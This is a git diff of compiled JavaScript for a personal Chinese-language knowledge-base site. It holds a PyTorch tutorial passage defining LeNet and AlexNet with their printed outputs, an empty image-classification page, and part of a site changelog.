(\u8f93\u51fa\u548c\u6b63\u786e\u7b54\u6848\u7684\u8ddd\u79bb\uff09"}),"\n",(0,d.jsx)(e.li,{children:"\u5c06\u68af\u5ea6\u53cd\u5411\u4f20\u64ad\u7ed9\u7f51\u7edc\u7684\u53c2\u6570"}),"\n",(0,d.jsxs)(e.li,{children:["\u66f4\u65b0\u7f51\u7edc\u7684\u6743\u91cd\uff0c\u4e00\u822c\u4f7f\u7528\u4e00\u4e2a\u7b80\u5355\u7684\u89c4\u5219\uff1a",(0,d.jsx)(e.code,{children:"weight = weight - learning_rate * gradient"})]}),"\n"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Net(nn.Module):\n\n def __init__(self):\n super(Net, self).__init__()\n # \u8f93\u5165\u56fe\u50cfchannel\uff1a1\uff1b\u8f93\u51fachannel\uff1a6\uff1b5x5\u5377\u79ef\u6838\n self.conv1 = nn.Conv2d(1, 6, 5)\n self.conv2 = nn.Conv2d(6, 16, 5)\n # an affine operation: y = Wx + b\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 10)\n\n def forward(self, x):\n # 2x2 Max pooling\n x = F.max_pool2d(F.relu(self.conv1(x)), (2, 2))\n # \u5982\u679c\u662f\u65b9\u9635,\u5219\u53ef\u4ee5\u53ea\u4f7f\u7528\u4e00\u4e2a\u6570\u5b57\u8fdb\u884c\u5b9a\u4e49\n x = F.max_pool2d(F.relu(self.conv2(x)), 2)\n x = x.view(-1, self.num_flat_features(x))\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n def num_flat_features(self, x):\n size = x.size()[1:] # \u9664\u53bb\u6279\u5904\u7406\u7ef4\u5ea6\u7684\u5176\u4ed6\u6240\u6709\u7ef4\u5ea6\n num_features = 1\n for s in size:\n num_features *= s\n return num_features\n\n\nnet = Net()\nprint(net)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"Net(\n (conv1): Conv2d(1, 6, kernel_size=(5, 5), stride=(1, 1))\n (conv2): Conv2d(6, 16, kernel_size=(5, 5), stride=(1, 1))\n (fc1): Linear(in_features=400, out_features=120, bias=True)\n (fc2): Linear(in_features=120, out_features=84, bias=True)\n (fc3): Linear(in_features=84, out_features=10, bias=True)\n)\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u53ea\u9700\u8981\u5b9a\u4e49 ",(0,d.jsx)(e.code,{children:"forward"})," \u51fd\u6570\uff0c",(0,d.jsx)(e.code,{children:"backward"}),"\u51fd\u6570\u4f1a\u5728\u4f7f\u7528",(0,d.jsx)(e.code,{children:"autograd"}),"\u65f6\u81ea\u52a8\u5b9a\u4e49\uff0c",(0,d.jsx)(e.code,{children:"backward"}),"\u51fd\u6570\u7528\u6765\u8ba1\u7b97\u5bfc\u6570\u3002\u6211\u4eec\u53ef\u4ee5\u5728 ",(0,d.jsx)(e.code,{children:"forward"})," \u51fd\u6570\u4e2d\u4f7f\u7528\u4efb\u4f55\u9488\u5bf9\u5f20\u91cf\u7684\u64cd\u4f5c\u548c\u8ba1\u7b97\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u4e00\u4e2a\u6a21\u578b\u7684\u53ef\u5b66\u4e60\u53c2\u6570\u53ef\u4ee5\u901a\u8fc7",(0,d.jsx)(e.code,{children:"net.parameters()"}),"\u8fd4\u56de"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"params = list(net.parameters())\nprint(len(params))\nprint(params[0].size()) # conv1\u7684\u6743\u91cd\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"10\ntorch.Size([6, 1, 5, 5])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u8ba9\u6211\u4eec\u5c1d\u8bd5\u4e00\u4e2a\u968f\u673a\u7684 32x32 \u7684\u8f93\u5165\u3002\u6ce8\u610f:\u8fd9\u4e2a\u7f51\u7edc (LeNet\uff09\u7684\u671f\u5f85\u8f93\u5165\u662f 32x32 \u7684\u5f20\u91cf\u3002\u5982\u679c\u4f7f\u7528 MNIST \u6570\u636e\u96c6\u6765\u8bad\u7ec3\u8fd9\u4e2a\u7f51\u7edc\uff0c\u8981\u628a\u56fe\u7247\u5927\u5c0f\u91cd\u65b0\u8c03\u6574\u5230 32x32\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"input = torch.randn(1, 1, 32, 32)\nout = net(input)\nprint(out)\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u6e05\u96f6\u6240\u6709\u53c2\u6570\u7684\u68af\u5ea6\u7f13\u5b58\uff0c\u7136\u540e\u8fdb\u884c\u968f\u673a\u68af\u5ea6\u7684\u53cd\u5411\u4f20\u64ad\uff1a"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"net.zero_grad()\nout.backward(torch.randn(1, 10))\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6ce8\u610f\uff1a",(0,d.jsx)(e.code,{children:"torch.nn"}),"\u53ea\u652f\u6301\u5c0f\u6279\u91cf\u5904\u7406 (mini-batches\uff09\u3002\u6574\u4e2a ",(0,d.jsx)(e.code,{children:"torch.nn"})," \u5305\u53ea\u652f\u6301\u5c0f\u6279\u91cf\u6837\u672c\u7684\u8f93\u5165\uff0c\u4e0d\u652f\u6301\u5355\u4e2a\u6837\u672c\u7684\u8f93\u5165\u3002\u6bd4\u5982\uff0c",(0,d.jsx)(e.code,{children:"nn.Conv2d"})," \u63a5\u53d7\u4e00\u4e2a4\u7ef4\u7684\u5f20\u91cf\uff0c\u5373",(0,d.jsx)(e.code,{children:"nSamples x nChannels x Height x Width "}),"\u5982\u679c\u662f\u4e00\u4e2a\u5355\u72ec\u7684\u6837\u672c\uff0c\u53ea\u9700\u8981\u4f7f\u7528",(0,d.jsx)(e.code,{children:"input.unsqueeze(0)"})," \u6765\u6dfb\u52a0\u4e00\u4e2a\u201c\u5047\u7684\u201d\u6279\u5927\u5c0f\u7ef4\u5ea6\u3002"]}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"torch.Tensor"})," - \u4e00\u4e2a\u591a\u7ef4\u6570\u7ec4\uff0c\u652f\u6301\u8bf8\u5982",(0,d.jsx)(e.code,{children:"backward()"}),"\u7b49\u7684\u81ea\u52a8\u6c42\u5bfc\u64cd\u4f5c\uff0c\u540c\u65f6\u4e5f\u4fdd\u5b58\u4e86\u5f20\u91cf\u7684\u68af\u5ea6\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"nn.Module "}),"- \u795e\u7ecf\u7f51\u7edc\u6a21\u5757\u3002\u662f\u4e00\u79cd\u65b9\u4fbf\u5c01\u88c5\u53c2\u6570\u7684\u65b9\u5f0f\uff0c\u5177\u6709\u5c06\u53c2\u6570\u79fb\u52a8\u5230GPU\u3001\u5bfc\u51fa\u3001\u52a0\u8f7d\u7b49\u529f\u80fd\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"nn.Parameter "}),"- \u5f20\u91cf\u7684\u4e00\u79cd\uff0c\u5f53\u5b83\u4f5c\u4e3a\u4e00\u4e2a\u5c5e\u6027\u5206\u914d\u7ed9\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"Module"}),"\u65f6\uff0c\u5b83\u4f1a\u88ab\u81ea\u52a8\u6ce8\u518c\u4e3a\u4e00\u4e2a\u53c2\u6570\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"autograd.Function"})," - \u5b9e\u73b0\u4e86\u81ea\u52a8\u6c42\u5bfc\u524d\u5411\u548c\u53cd\u5411\u4f20\u64ad\u7684\u5b9a\u4e49\uff0c\u6bcf\u4e2a",(0,d.jsx)(e.code,{children:"Tensor"}),"\u81f3\u5c11\u521b\u5efa\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"Function"}),"\u8282\u70b9\uff0c\u8be5\u8282\u70b9\u8fde\u63a5\u5230\u521b\u5efa",(0,d.jsx)(e.code,{children:"Tensor"}),"\u7684\u51fd\u6570\u5e76\u5bf9\u5176\u5386\u53f2\u8fdb\u884c\u7f16\u7801\u3002"]}),"\n"]}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e0b\u9762\u518d\u4ecb\u7ecd\u4e00\u4e2a\u6bd4\u8f83\u57fa\u7840\u7684\u6848\u4f8bAlexNet"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"AlexNet"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"3.4.2",src:r(79768).A+"",width:"1258",height:"498"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"class AlexNet(nn.Module):\n def __init__(self):\n super(AlexNet, self).__init__()\n self.conv = nn.Sequential(\n nn.Conv2d(1, 96, 11, 4), # in_channels, out_channels, kernel_size, stride, padding\n nn.ReLU(),\n nn.MaxPool2d(3, 2), # kernel_size, stride\n # \u51cf\u5c0f\u5377\u79ef\u7a97\u53e3\uff0c\u4f7f\u7528\u586b\u5145\u4e3a2\u6765\u4f7f\u5f97\u8f93\u5165\u4e0e\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\u4e00\u81f4\uff0c\u4e14\u589e\u5927\u8f93\u51fa\u901a\u9053\u6570\n nn.Conv2d(96, 256, 5, 1, 2),\n nn.ReLU(),\n nn.MaxPool2d(3, 2),\n # \u8fde\u7eed3\u4e2a\u5377\u79ef\u5c42\uff0c\u4e14\u4f7f\u7528\u66f4\u5c0f\u7684\u5377\u79ef\u7a97\u53e3\u3002\u9664\u4e86\u6700\u540e\u7684\u5377\u79ef\u5c42\u5916\uff0c\u8fdb\u4e00\u6b65\u589e\u5927\u4e86\u8f93\u51fa\u901a\u9053\u6570\u3002\n # \u524d\u4e24\u4e2a\u5377\u79ef\u5c42\u540e\u4e0d\u4f7f\u7528\u6c60\u5316\u5c42\u6765\u51cf\u5c0f\u8f93\u5165\u7684\u9ad8\u548c\u5bbd\n nn.Conv2d(256, 384, 3, 1, 1),\n nn.ReLU(),\n nn.Conv2d(384, 384, 3, 1, 1),\n nn.ReLU(),\n nn.Conv2d(384, 256, 3, 1, 1),\n nn.ReLU(),\n nn.MaxPool2d(3, 2)\n )\n # \u8fd9\u91cc\u5168\u8fde\u63a5\u5c42\u7684\u8f93\u51fa\u4e2a\u6570\u6bd4LeNet\u4e2d\u7684\u5927\u6570\u500d\u3002\u4f7f\u7528\u4e22\u5f03\u5c42\u6765\u7f13\u89e3\u8fc7\u62df\u5408\n self.fc = nn.Sequential(\n nn.Linear(256*5*5, 4096),\n nn.ReLU(),\n nn.Dropout(0.5),\n nn.Linear(4096, 4096),\n nn.ReLU(),\n nn.Dropout(0.5),\n # \u8f93\u51fa\u5c42\u3002\u7531\u4e8e\u8fd9\u91cc\u4f7f\u7528Fashion-MNIST\uff0c\u6240\u4ee5\u7528\u7c7b\u522b\u6570\u4e3a10\uff0c\u800c\u975e\u8bba\u6587\u4e2d\u76841000\n nn.Linear(4096, 10),\n )\n\n def forward(self, img):\n feature = self.conv(img)\n output = self.fc(feature.view(img.shape[0], -1))\n return output\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"net = AlexNet()\nprint(net)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"AlexNet(\n (conv): Sequential(\n (0): Conv2d(1, 96, kernel_size=(11, 11), stride=(4, 4))\n (1): ReLU()\n (2): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)\n (3): Conv2d(96, 256, kernel_size=(5, 5), stride=(1, 1), padding=(2, 2))\n (4): ReLU()\n (5): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)\n (6): Conv2d(256, 384, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (7): ReLU()\n (8): Conv2d(384, 384, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (9): ReLU()\n (10): Conv2d(384, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (11): ReLU()\n (12): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)\n )\n (fc): Sequential(\n (0): Linear(in_features=6400, out_features=4096, bias=True)\n (1): ReLU()\n (2): Dropout(p=0.5)\n (3): Linear(in_features=4096, out_features=4096, bias=True)\n (4): ReLU()\n (5): Dropout(p=0.5)\n (6): Linear(in_features=4096, out_features=10, bias=True)\n )\n)\n"})})]})}function h(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,d.jsx)(e,{...n,children:(0,d.jsx)(a,{...n})}):a(n)}},75379:(n,e,r)=>{r.d(e,{A:()=>s});const s=r.p+"assets/images/3.4.1-19eccc1a9cdb292575b8f591c1dc7b92.png"},79768:(n,e,r)=>{r.d(e,{A:()=>s});const s=r.p+"assets/images/3.4.2-ae440b6977390969adb347c39aa5260c.png"}}]); \ No newline at end of file diff --git a/assets/js/bb6f0cd6.0eaf6608.js b/assets/js/bb6f0cd6.0eaf6608.js new file mode 100644 index 0000000..d6dd3e6 --- /dev/null +++ b/assets/js/bb6f0cd6.0eaf6608.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5198],{28453:(t,e,n)=>{n.d(e,{R:()=>i,x:()=>c});var s=n(96540);const r={},l=s.createContext(r);function i(t){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function c(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(r):t.components||r:i(t.components),s.createElement(l.Provider,{value:e},t.children)}},29300:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","title":"10.1 \u56fe\u50cf\u5206\u7c7b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u5341\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/"},"next":{"title":"10.2 \u76ee\u6807\u68c0\u6d4b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b"}}');var r=n(74848),l=n(28453);const i={},c="10.1 \u56fe\u50cf\u5206\u7c7b.md",d={},o=[];function h(t){const e={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...t.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"101-\u56fe\u50cf\u5206\u7c7bmd",children:"10.1 \u56fe\u50cf\u5206\u7c7b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"101-\u56fe\u50cf\u5206\u7c7b\u7b80\u4ecb\u8865\u5145\u4e2d",children:"10.1 \u56fe\u50cf\u5206\u7c7b\u7b80\u4ecb\uff08\u8865\u5145\u4e2d\uff09"})]})}function a(t={}){const{wrapper:e}={...(0,l.R)(),...t.components};return e?(0,r.jsx)(e,{...t,children:(0,r.jsx)(h,{...t})}):h(t)}}}]); \ No newline at end of file diff --git a/assets/js/c0aeb5ae.5d535d95.js b/assets/js/c0aeb5ae.5d535d95.js new file mode 100644 index 0000000..09371c4 --- /dev/null +++ b/assets/js/c0aeb5ae.5d535d95.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7653],{28453:(t,e,l)=>{l.d(e,{R:()=>i,x:()=>E});var n=l(96540);const A={},s=n.createContext(A);function i(t){const e=n.useContext(s);return n.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function E(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(A):t.components||A:i(t.components),n.createElement(s.Provider,{value:e},t.children)}},50758:(t,e,l)=>{l.r(e),l.d(e,{assets:()=>d,contentTitle:()=>E,default:()=>r,frontMatter:()=>i,metadata:()=>n,toc:()=>x});const n=JSON.parse('{"id":"\u66f4\u65b0\u65e5\u5fd7","title":"\u66f4\u65b0\u65e5\u5fd7","description":"2026\u5e7410\u6708","source":"@site/docs/\u66f4\u65b0\u65e5\u5fd7.md","sourceDirName":".","slug":"/\u66f4\u65b0\u65e5\u5fd7","permalink":"/docs/\u66f4\u65b0\u65e5\u5fd7","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u66f4\u65b0\u65e5\u5fd7.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3"}}');var A=l(74848),s=l(28453);const i={},E="\u66f4\u65b0\u65e5\u5fd7",d={},x=[{value:"2026\u5e7410\u6708",id:"2026\u5e7410\u6708",level:2},{value:"2026\u5e7410\u670818\u65e5",id:"2026\u5e7410\u670818\u65e5",level:3},{value:"2026\u5e7408\u6708",id:"2026\u5e7408\u6708",level:2},{value:"2026\u5e7408\u670828\u65e5",id:"2026\u5e7408\u670828\u65e5",level:3},{value:"2026\u5e7406\u6708",id:"2026\u5e7406\u6708",level:2},{value:"2026\u5e7406\u670807\u65e5",id:"2026\u5e7406\u670807\u65e5",level:3},{value:"2025\u5e7411\u6708",id:"2025\u5e7411\u6708",level:2},{value:"2025\u5e7411\u670806\u65e5",id:"2025\u5e7411\u670806\u65e5",level:3},{value:"2025\u5e7410\u6708",id:"2025\u5e7410\u6708",level:2},{value:"2025\u5e7410\u670815\u65e5",id:"2025\u5e7410\u670815\u65e5",level:3},{value:"2025\u5e7401\u6708",id:"2025\u5e7401\u6708",level:2},{value:"2025\u5e7401\u670817\u65e5",id:"2025\u5e7401\u670817\u65e5",level:3},{value:"2024\u5e7412\u6708",id:"2024\u5e7412\u6708",level:2},{value:"2024\u5e7412\u670831\u65e5",id:"2024\u5e7412\u670831\u65e5",level:3},{value:"2024\u5e7409\u6708",id:"2024\u5e7409\u6708",level:2},{value:"2024\u5e7409\u670813\u65e5",id:"2024\u5e7409\u670813\u65e5",level:3},{value:"2024\u5e7406\u6708",id:"2024\u5e7406\u6708",level:2},{value:"2024\u5e7406\u670812\u65e5",id:"2024\u5e7406\u670812\u65e5",level:3},{value:"2024\u5e7406\u670806\u65e5",id:"2024\u5e7406\u670806\u65e5",level:3},{value:"2024\u5e7404\u6708",id:"2024\u5e7404\u6708",level:2},{value:"2024\u5e7404\u670801\u65e5",id:"2024\u5e7404\u670801\u65e5",level:3},{value:"2024\u5e7401\u6708",id:"2024\u5e7401\u6708",level:2},{value:"2024\u5e7401\u670813\u65e5",id:"2024\u5e7401\u670813\u65e5",level:3},{value:"2024\u5e7401\u670812\u65e5",id:"2024\u5e7401\u670812\u65e5",level:3},{value:"2023\u5e7410\u6708",id:"2023\u5e7410\u6708",level:2},{value:"2023\u5e7410\u670820\u65e5",id:"2023\u5e7410\u670820\u65e5",level:3},{value:"2023\u5e7408\u6708",id:"2023\u5e7408\u6708",level:2},{value:"2023\u5e7408\u670822\u65e5",id:"2023\u5e7408\u670822\u65e5",level:3},{value:"2023\u5e7408\u670806\u65e5",id:"2023\u5e7408\u670806\u65e5",level:3},{value:"2023\u5e7407\u6708",id:"2023\u5e7407\u6708",level:2},{value:"2023\u5e7407\u670814\u65e5",id:"2023\u5e7407\u670814\u65e5",level:3},{value:"2023\u5e7407\u670812\u65e5",id:"2023\u5e7407\u670812\u65e5",level:3},{value:"2023\u5e7407\u670809\u65e5",id:"2023\u5e7407\u670809\u65e5",level:3},{value:"2023\u5e7407\u670808\u65e5",id:"2023\u5e7407\u670808\u65e5",level:3},{value:"2023\u5e7407\u670805\u65e5",id:"2023\u5e7407\u670805\u65e5",level:3},{value:"2023\u5e7406\u6708",id:"2023\u5e7406\u6708",level:2},{value:"2023\u5e7406\u670805\u65e5",id:"2023\u5e7406\u670805\u65e5",level:3},{value:"2023\u5e7406\u670803\u65e5",id:"2023\u5e7406\u670803\u65e5",level:3},{value:"2023\u5e7406\u670802\u65e5",id:"2023\u5e7406\u670802\u65e5",level:3},{value:"2023\u5e7404\u6708",id:"2023\u5e7404\u6708",level:2},{value:"2023\u5e7404\u670811\u65e5",id:"2023\u5e7404\u670811\u65e5",level:3},{value:"2023\u5e7404\u670809\u65e5",id:"2023\u5e7404\u670809\u65e5",level:3},{value:"2023\u5e7404\u670804\u65e5",id:"2023\u5e7404\u670804\u65e5",level:3},{value:"2023\u5e7403\u6708",id:"2023\u5e7403\u6708",level:2},{value:"2023\u5e7403\u670817\u65e5",id:"2023\u5e7403\u670817\u65e5",level:3},{value:"2023\u5e7403\u670815\u65e5",id:"2023\u5e7403\u670815\u65e5",level:3},{value:"2023\u5e7403\u670813\u65e5",id:"2023\u5e7403\u670813\u65e5",level:3},{value:"2023\u5e7402\u6708",id:"2023\u5e7402\u6708",level:2},{value:"2023\u5e7402\u670821\u65e5",id:"2023\u5e7402\u670821\u65e5",level:3},{value:"2023\u5e7402\u670820\u65e5",id:"2023\u5e7402\u670820\u65e5",level:3},{value:"2023\u5e7401\u6708",id:"2023\u5e7401\u6708",level:2},{value:"2023\u5e7401\u670829\u65e5",id:"2023\u5e7401\u670829\u65e5",level:3},{value:"2023\u5e7401\u670828\u65e5",id:"2023\u5e7401\u670828\u65e5",level:3},{value:"2023\u5e7401\u670826\u65e5",id:"2023\u5e7401\u670826\u65e5",level:3},{value:"2023\u5e7401\u670804\u65e5",id:"2023\u5e7401\u670804\u65e5",level:3},{value:"2022\u5e7412\u6708",id:"2022\u5e7412\u6708",level:2},{value:"2022\u5e7412\u670829\u65e5",id:"2022\u5e7412\u670829\u65e5",level:3},{value:"2022\u5e7412\u670827\u65e5",id:"2022\u5e7412\u670827\u65e5",level:3},{value:"2022\u5e7412\u670826\u65e5",id:"2022\u5e7412\u670826\u65e5",level:3},{value:"2022\u5e7412\u670824\u65e5",id:"2022\u5e7412\u670824\u65e5",level:3},{value:"2022\u5e7412\u670823\u65e5",id:"2022\u5e7412\u670823\u65e5",level:3},{value:"2022\u5e7412\u670822\u65e5",id:"2022\u5e7412\u670822\u65e5",level:3},{value:"2022\u5e7412\u670815\u65e5",id:"2022\u5e7412\u670815\u65e5",level:3},{value:"2022\u5e7412\u670801\u65e5",id:"2022\u5e7412\u670801\u65e5",level:3},{value:"2022\u5e7411\u6708",id:"2022\u5e7411\u6708",level:2},{value:"2022\u5e7411\u670829\u65e5",id:"2022\u5e7411\u670829\u65e5",level:3}];function h(t){const e={a:"a",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,s.R)(),...t.components};return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(e.header,{children:(0,A.jsx)(e.h1,{id:"\u66f4\u65b0\u65e5\u5fd7",children:"\u66f4\u65b0\u65e5\u5fd7"})}),"\n",(0,A.jsx)(e.h2,{id:"2026\u5e7410\u6708",children:"2026\u5e7410\u6708"}),"\n",(0,A.jsx)(e.h3,{id:"2026\u5e7410\u670818\u65e5",children:"2026\u5e7410\u670818\u65e5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,A.jsxs)(e.table,{children:[(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})}),(0,A.jsxs)(e.tbody,{children:[(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-10-18 19:35:21"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E9%80%86%E5%90%91%E7%A0%B4%E8%A7%A3/TscanPlus%E6%8E%88%E6%9D%83%E9%80%BB%E8%BE%91%E5%88%86%E6%9E%90%E4%B8%8E%E4%BA%8C%E8%BF%9B%E5%88%B6%E8%A1%A5%E4%B8%81%E7%A0%B4%E8%A7%A3",children:"\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-09-01 